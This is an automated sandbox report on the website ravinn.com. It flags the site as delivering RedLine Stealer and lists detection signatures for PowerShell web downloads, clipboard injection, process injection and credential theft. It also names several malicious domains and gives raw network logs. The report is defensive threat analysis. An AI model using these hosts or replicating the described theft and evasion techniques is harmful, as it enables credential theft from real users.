Windows Analysis Report
http://www.ravinn.com

Overview

General Information

Sample URL: http://www.ravinn.com
Analysis ID: 1654138
Infos:

Detection

RedLine
Score: 96
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Yara detected RedLine Stealer
Drops large PE files
Found hidden mapped module (file has been removed from disk)
HTML page adds supicious text to clipboard
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Switches to a custom stack to bypass stack traces
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for available system drives (often done to infect USB drives)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Javascript checks online IP of machine
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: MsiExec Web Install
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Yara detected Credential Stealer

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://servverifcloud.com/ Avira URL Cloud: Label: malware
Source: https://mfktiaoaolfkfjzjk.com/plu Avira URL Cloud: Label: malware
Javascript checks online IP of machine
Source: https://static-tracking.klaviyo.com/onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 HTTP Parser: (self.webpackchunk_klaviyo_onsite_modules=self.webpackchunk_klaviyo_onsite_modules||[]).push([[377],{23105:function(t,e,i){"use strict";e.z=({tracking:t})=>{var e;const o=t?"https://static-tracking.klaviyo.com/onsite/js/":"https://static.klaviyo.com/onsite/js/",n=null==(e=window.klaviyomodulesobject)?void 0:e.assetsource;i.p=n?`${o}${n}`:o}},650:function(t,e,i){"use strict";var o=i(23105);i(78991),i(24570),i(26650);class n{constructor(t,e,i,o,n,r,s){this.doc=t,this.nav=e,this.scr=i,this.win=o,this.loc=n,this.top=r,this.parent=s,this.initializedom()}initializedom(){this.doc=this.doc||document,this.nav=this.nav||navigator,this.scr=this.scr||window.screen,this.win=this.win||window,this.loc=this.loc||this.doc.location,this.top=this.top||window.top,this.parent=this.parent||window.parent}getdocument(){return this.doc}getnavigator(){return this.nav}getscreen(){return this.scr}getwindow(){return this.win}getlocation(){return this.loc}getprotocol(){return["https:","about:"].includes(this.loc.protocol)?"https://":"http...
Source: C:\Windows\System32\msiexec.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E3205E05-7972-45C4-8321-B26BB5BCDBB2}
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.40.100:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.69.191:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.3.74:443 -> 192.168.2.16:49805 version: TLS 1.2
Checks for available system drives (often done to infect USB drives)
Source: C:\Windows\System32\msiexec.exe File opened: z:
Source: C:\Windows\System32\msiexec.exe File opened: x:
Source: C:\Windows\System32\msiexec.exe File opened: v:
Source: C:\Windows\System32\msiexec.exe File opened: t:
Source: C:\Windows\System32\msiexec.exe File opened: r:
Source: C:\Windows\System32\msiexec.exe File opened: p:
Source: C:\Windows\System32\msiexec.exe File opened: n:
Source: C:\Windows\System32\msiexec.exe File opened: l:
Source: C:\Windows\System32\msiexec.exe File opened: j:
Source: C:\Windows\System32\msiexec.exe File opened: h:
Source: C:\Windows\System32\msiexec.exe File opened: f:
Source: C:\Windows\System32\msiexec.exe File opened: b:
Source: C:\Windows\System32\msiexec.exe File opened: y:
Source: C:\Windows\System32\msiexec.exe File opened: w:
Source: C:\Windows\System32\msiexec.exe File opened: u:
Source: C:\Windows\System32\msiexec.exe File opened: s:
Source: C:\Windows\System32\msiexec.exe File opened: q:
Source: C:\Windows\System32\msiexec.exe File opened: o:
Source: C:\Windows\System32\msiexec.exe File opened: m:
Source: C:\Windows\System32\msiexec.exe File opened: k:
Source: C:\Windows\System32\msiexec.exe File opened: i:
Source: C:\Windows\System32\msiexec.exe File opened: g:
Source: C:\Windows\System32\msiexec.exe File opened: e:
Source: C:\Windows\System32\svchost.exe File opened: c:
Source: C:\Windows\System32\msiexec.exe File opened: a:
Source: chrome.exe Memory has grown: Private usage: 13MB later: 53MB
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:49804 -> 104.21.69.191:443
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:49805 -> 104.21.3.74:443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown TCP traffic detected without corresponding DNS query: 142.250.80.99
Source: unknown TCP traffic detected without corresponding DNS query: 142.250.80.99
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 149.248.78.209
Source: unknown TCP traffic detected without corresponding DNS query: 149.248.78.209
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/all.css HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/splide.min.css HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/bootstrap.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/main.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/css/responsive.css?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/style.css?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/loadmore.js?ver=6.7.2 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/ravinnlogo.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo4.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo1.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo5-e1701428252408.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/isotope.pkgd.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /clou?ts=1743482759 HTTP/1.1Host: pptpooalfkakktl.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/bootstrap.js?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/css/all.css?ver=6.4.2 HTTP/1.1Host: use.fontawesome.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/klaviyo.js?company_id=WnvUEf HTTP/1.1Host: static.klaviyo.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/ravinnlogo.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/splide-extension-auto-scroll.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/splide.min.js HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/script.js?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo1.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo4.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
